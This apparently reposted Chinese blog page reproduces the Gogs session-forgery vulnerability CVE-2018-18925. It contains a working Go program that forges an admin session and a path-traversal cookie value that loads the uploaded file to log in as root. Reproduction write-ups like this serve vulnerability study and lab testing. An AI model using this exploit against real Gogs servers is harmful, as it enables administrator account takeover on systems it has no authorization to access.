栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Go语言

Gogs 任意用户登录漏洞(CVE-2018-18925)

Go语言 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Gogs 任意用户登录漏洞(CVE-2018-18925)

漏洞背景

Gogs(又名Go Git Service)是Gogs团队开发的一个基于Go语言的自助Git托管服务,它支持创建、迁移公开/私有仓库,添加、删除仓库协作者等。 Gogs 0.11.66版本中存在安全漏洞,该漏洞源于程序没有正确验证会话ID。远程攻击者可利用该漏洞执行代码。

漏洞复现

使用Gob序列化生成session文件:

package main

import (
    "bytes"
    "encoding/gob"
    "encoding/hex"
    "fmt"
    "io/ioutil"
    "os"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}

func main() {
    var uid int64 = 1
    obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    err = ioutil.WriteFile("data", data, os.O_CREATE|os.O_WRONLY)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}

在这里就已经蒙一半了,网上复现也是少数说明如何操作,我就懒的找了。到这里就只描述一下步骤:

  1. 生成的session是一个文件,注册一个普通用户账户,创建项目,并在“版本发布”页面上传它。
  2. 通过这个附件的URL,得知这个文件的文件名,类似:./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10
  3. 然后,构造Cookie:i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10,访问即可发现已经成功登录id=1的用户(即管理员root)
详细

请参考以下文章:

  • https://xz.aliyun.com/t/3168
  • https://vulhub.org/#/environments/gogs/CVE-2018-18925/
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/907701.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号